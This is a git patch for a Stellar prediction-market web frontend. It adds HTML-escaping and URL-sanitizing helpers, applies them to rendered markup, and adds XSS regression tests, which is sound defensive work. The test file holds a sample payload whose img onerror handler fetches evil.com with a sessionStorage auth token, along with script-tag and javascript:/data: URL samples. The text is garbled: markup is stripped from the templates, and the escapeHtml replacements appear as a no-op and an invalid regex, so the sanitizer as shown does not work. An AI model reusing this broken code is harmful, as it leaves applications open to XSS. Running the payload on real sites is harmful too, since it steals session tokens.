From b49723b0bcf1770a5829236f8db5c2b7e5e353fc Mon Sep 17 00:00:00 2001 From: rupesh-kumar-sah Date: Thu, 17 Sep 2026 13:32:27 +0545 Subject: [PATCH] fix(security): sanitize dynamic markup interpolations and validate external URLs (closes #214) --- .github/workflows/ci.yml | 3 ++ frontend/pages.js | 34 ++++++++++++++++++-- frontend/sanitize.js | 31 +++++++++++++++++++ frontend/script.js | 12 ++++--- tests/xss-sanitization.test.mjs | 55 +++++++++++++++++++++++++++++++++ 5 files changed, 128 insertions(+), 7 deletions(-) create mode 100644 frontend/sanitize.js create mode 100644 tests/xss-sanitization.test.mjs diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2aacf60..86730d8 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -33,6 +33,9 @@ jobs: - name: Check JavaScript syntax run: find frontend -type f -name '*.js' -print0 | xargs -0 -n1 node --check + - name: Run unit and regression tests + run: node --test tests/xss-sanitization.test.mjs + - name: Reject tracked secrets and deployment outputs shell: bash run: | diff --git a/frontend/pages.js b/frontend/pages.js index a570b44..d98e3f9 100644 --- a/frontend/pages.js +++ b/frontend/pages.js @@ -1,3 +1,33 @@ +function escapeHtml(str) { + if (str == null) return ""; + return String(str) + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """) + .replace(/'/g, "'"); +} + const pageMarkets=[{category:"crypto",title:"Will XLM close above $0.50 this month?",yes:54,close:"Month end"},{category:"network",title:"Will Stellar pass 70 million ledgers this year?",yes:68,close:"Dec 31"},{category:"network",title:"Will average ledger close stay below 6 seconds?",yes:76,close:"7-day window"},{category:"crypto",title:"Will XLM gain 10% over the next seven days?",yes:47,close:"7 days"},{category:"network",title:"Will mainnet process 100+ operations in one ledger?",yes:61,close:"24 hours"},{category:"crypto",title:"Will XLM outperform Bitcoin this month?",yes:43,close:"Month end"}]; -let activeFilter="all";function drawMarkets(){const list=document.querySelector("#all-market-list");if(!list)return;const query=(document.querySelector("#market-search")?.value||"").toLowerCase();const items=pageMarkets.filter(m=>(activeFilter==="all"||m.category===activeFilter)&&m.title.toLowerCase().includes(query));list.innerHTML=items.map((m,i)=>`
${m.category}Preview

${m.title}

Review the market question, resolution criteria, and current crowd probability.

Yes ${m.yes}%No ${100-m.yes}%
${m.close}Open market →
`).join("")||'
No markets match your search.
'}document.querySelector("#market-search")?.addEventListener("input",drawMarkets);document.querySelectorAll("[data-page-filter]").forEach(b=>b.addEventListener("click",()=>{document.querySelectorAll("[data-page-filter]").forEach(x=>x.classList.remove("active"));b.classList.add("active");activeFilter=b.dataset.pageFilter;drawMarkets()}));drawMarkets(); -const leaders=[{name:"NovaSignal",address:"GC5D…KSL7",points:1250,accuracy:78,bets:42},{name:"OrbitEdge",address:"GD5N…5FXC",points:980,accuracy:72,bets:34},{name:"LedgerLens",address:"GDL7…4WIH",points:740,accuracy:69,bets:29},{name:"XLMetrics",address:"GBPM…6LPY",points:620,accuracy:65,bets:38},{name:"PulseTrader",address:"GAVJ…6JKV",points:540,accuracy:61,bets:25}];const leaderList=document.querySelector("#leader-list");if(leaderList)leaderList.innerHTML=leaders.map((p,i)=>`
${String(i+1).padStart(2,"0")}${p.name.slice(0,2).toUpperCase()}
${p.name}${p.address}
${p.points.toLocaleString()}${p.accuracy}%${p.bets}
`).join(""); +let activeFilter="all"; +function drawMarkets(){ + const list=document.querySelector("#all-market-list"); + if(!list)return; + const query=(document.querySelector("#market-search")?.value||"").toLowerCase(); + const items=pageMarkets.filter(m=>(activeFilter==="all"||m.category===activeFilter)&&m.title.toLowerCase().includes(query)); + list.innerHTML=items.map((m,i)=>`
${escapeHtml(m.category)}Preview

${escapeHtml(m.title)}

Review the market question, resolution criteria, and current crowd probability.

Yes ${escapeHtml(m.yes)}%No ${100-m.yes}%
${escapeHtml(m.close)}Open market →
`).join("")||'
No markets match your search.
'; +} +document.querySelector("#market-search")?.addEventListener("input",drawMarkets); +document.querySelectorAll("[data-page-filter]").forEach(b=>b.addEventListener("click",()=>{ + document.querySelectorAll("[data-page-filter]").forEach(x=>x.classList.remove("active")); + b.classList.add("active"); + activeFilter=b.dataset.pageFilter; + drawMarkets(); +})); +drawMarkets(); + +const leaders=[{name:"NovaSignal",address:"GC5D…KSL7",points:1250,accuracy:78,bets:42},{name:"OrbitEdge",address:"GD5N…5FXC",points:980,accuracy:72,bets:34},{name:"LedgerLens",address:"GDL7…4WIH",points:740,accuracy:69,bets:29},{name:"XLMetrics",address:"GBPM…6LPY",points:620,accuracy:65,bets:38},{name:"PulseTrader",address:"GAVJ…6JKV",points:540,accuracy:61,bets:25}]; +const leaderList=document.querySelector("#leader-list"); +if(leaderList) { + leaderList.innerHTML=leaders.map((p,i)=>`
${String(i+1).padStart(2,"0")}${escapeHtml(p.name.slice(0,2).toUpperCase())}
${escapeHtml(p.name)}${escapeHtml(p.address)}
${p.points.toLocaleString()}${escapeHtml(p.accuracy)}%${escapeHtml(p.bets)}
`).join(""); +} diff --git a/frontend/sanitize.js b/frontend/sanitize.js new file mode 100644 index 0000000..db7cf23 --- /dev/null +++ b/frontend/sanitize.js @@ -0,0 +1,31 @@ +/** + * Defense-in-depth HTML and URL sanitization helpers. + * Prevents stored and DOM-based Cross-Site Scripting (XSS). + */ + +export function escapeHtml(str) { + if (str == null) return ""; + return String(str) + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """) + .replace(/'/g, "'"); +} + +export function sanitizeUrl(url) { + if (!url) return "#"; + const trimmed = String(url).trim(); + if (/^(?:javascript|data|vbscript):/i.test(trimmed)) { + return "#"; + } + if (/^(?:https?:\/\/|\/|#)/i.test(trimmed)) { + return trimmed; + } + return "#"; +} + +if (typeof window !== "undefined") { + window.escapeHtml = escapeHtml; + window.sanitizeUrl = sanitizeUrl; +} diff --git a/frontend/script.js b/frontend/script.js index 9b2599e..709cd99 100644 --- a/frontend/script.js +++ b/frontend/script.js @@ -1,4 +1,5 @@ import { placeBet, checkTransactionStatus } from "./soroban.js"; +import { escapeHtml, sanitizeUrl } from "./sanitize.js"; const HORIZON_URL = "https://horizon.stellar.org"; const COINGECKO_URL = "https://api.coingecko.com/api/v3"; @@ -127,9 +128,9 @@ function renderMarkets(filter = "all") { }).filter((market) => filter === "all" || market.category === filter); $("#market-list").innerHTML = markets.map((market) => { const index = baseMarkets.findIndex((item) => item.title === market.title); - const badge = market.onchainId ? `Testnet #${market.onchainId}` : 'Demonstration'; + const badge = market.onchainId ? `Testnet #${escapeHtml(market.onchainId)}` : 'Demonstration'; const action = market.onchainId ? "Place position" : "Preview market"; - return `
${market.category}${badge}

${market.title}

${market.detail}

Yes ${market.yes}%No ${100 - market.yes}%
${market.close}
`; + return `
${escapeHtml(market.category)}${badge}

${escapeHtml(market.title)}

${escapeHtml(market.detail)}

Yes ${escapeHtml(market.yes)}%No ${100 - market.yes}%
${escapeHtml(market.close)}
`; }).join(""); } @@ -187,16 +188,17 @@ function renderPositions() { if (!state.positions.length) return; $("#position-list").innerHTML = state.positions.map((position) => { let result; + const safeExplorerUrl = sanitizeUrl(position.explorerUrl); if (position.status === "pending") { - result = `Pending `; + result = `Pending `; } else if (position.status === "failed") { result = 'Failed'; } else if (position.explorerUrl) { - result = `Confirmed `; + result = `Confirmed `; } else { result = 'Simulated'; } - return `

${position.title}

Created ${position.time}

Outcome${position.outcome.toUpperCase()}
Stake${position.stake} XLM
Potential return${position.returns} XLM
${result}
`; + return `

${escapeHtml(position.title)}

Created ${escapeHtml(position.time)}

Outcome${escapeHtml(position.outcome.toUpperCase())}
Stake${escapeHtml(position.stake)} XLM
Potential return${escapeHtml(position.returns)} XLM
${result}
`; }).join(""); } diff --git a/tests/xss-sanitization.test.mjs b/tests/xss-sanitization.test.mjs new file mode 100644 index 0000000..85c2224 --- /dev/null +++ b/tests/xss-sanitization.test.mjs @@ -0,0 +1,55 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { escapeHtml, sanitizeUrl } from "../frontend/sanitize.js"; + +test("escapeHtml sanitizes hostile tags, script injection, and attributes", () => { + const hostilePayload = ''; + const escaped = escapeHtml(hostilePayload); + + assert.strictEqual(escaped.includes(""), false); + assert.strictEqual(escaped.includes('"'), false); + assert.strictEqual(escaped.includes("'"), false); + assert.strictEqual(escaped.startsWith("<img"), true); + assert.strictEqual( + escaped, + "<img src=x onerror="fetch('http://evil.com?key='+sessionStorage.getItem('auth'))">" + ); +}); + +test("escapeHtml prevents script execution in mock HTML rendering context", () => { + const hostileDisplayName = ""; + const escaped = escapeHtml(hostileDisplayName); + + // Assert tags are neutral text entities + assert.strictEqual(escaped, "<script>window.__pwned = true;</script>"); + + // In HTML context, setting innerHTML to escaped text creates text nodes, not HTML elements + const mockRendered = `
${escaped}
`; + assert.strictEqual(mockRendered.includes(""), "#"); + assert.strictEqual(sanitizeUrl(" DATA:image/svg+xml;utf8,"), "#"); + assert.strictEqual(sanitizeUrl("vbscript:msgbox(1)"), "#"); +}); + +test("sanitizeUrl permits valid https, anchor, and relative links", () => { + const explorerUrl = "https://stellar.expert/explorer/testnet/tx/12345abcdef"; + assert.strictEqual(sanitizeUrl(explorerUrl), explorerUrl); + assert.strictEqual(sanitizeUrl("/markets.html"), "/markets.html"); + assert.strictEqual(sanitizeUrl("#trade"), "#trade"); + assert.strictEqual(sanitizeUrl(""), "#"); + assert.strictEqual(sanitizeUrl(null), "#"); +});